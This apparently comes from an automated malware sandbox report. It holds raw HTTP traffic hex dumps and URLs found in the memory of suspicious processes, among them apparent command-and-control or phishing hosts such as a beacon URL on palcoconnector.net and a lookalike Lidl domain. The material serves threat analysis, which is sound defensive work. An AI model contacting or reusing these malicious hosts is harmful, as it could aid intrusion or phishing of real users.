15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Thu, 07 Nov 2024 14:27:58 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Thu, 07 Nov 2024 14:28:00 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 14:29:01 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 14:29:03 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 14:29:06 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 14:29:08 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61

Source: IpIaYUETnYWFH.exe, 00000006.00000002.3367695283.0000000004D3A000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.es-lidl.online
Source: IpIaYUETnYWFH.exe, 00000006.00000002.3367695283.0000000004D3A000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.es-lidl.online/n2dv/
Source: RpcPing.exe, 00000005.00000002.3367266886.0000000004462000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3368903830.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.palcoconnector.net/px.js?ch=1
Source: RpcPing.exe, 00000005.00000002.3367266886.0000000004462000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3368903830.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.palcoconnector.net/px.js?ch=2
Source: RpcPing.exe, 00000005.00000002.3367266886.0000000004462000.00000004.10000000.00040000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3368903830.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.palcoconnector.net/sk-logabpstatus.php?a=bXhMcnlwZUVZbkR2TkpqRG0xWnc5ZTNMZlFTSjFybmRCeWl0
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RpcPing.exe, 00000005.00000002.3367266886.00000000042D0000.00000004.10000000.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003600000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/gsap/3.1.1/gsap.min.js
Source: RpcPing.exe, 00000005.00000002.3367266886.00000000042D0000.00000004.10000000.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003600000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: RpcPing.exe, 00000005.00000002.3367266886.00000000042D0000.00000004.10000000.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003600000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: IpIaYUETnYWFH.exe, 00000006.00000002.3365902751.0000000003792000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
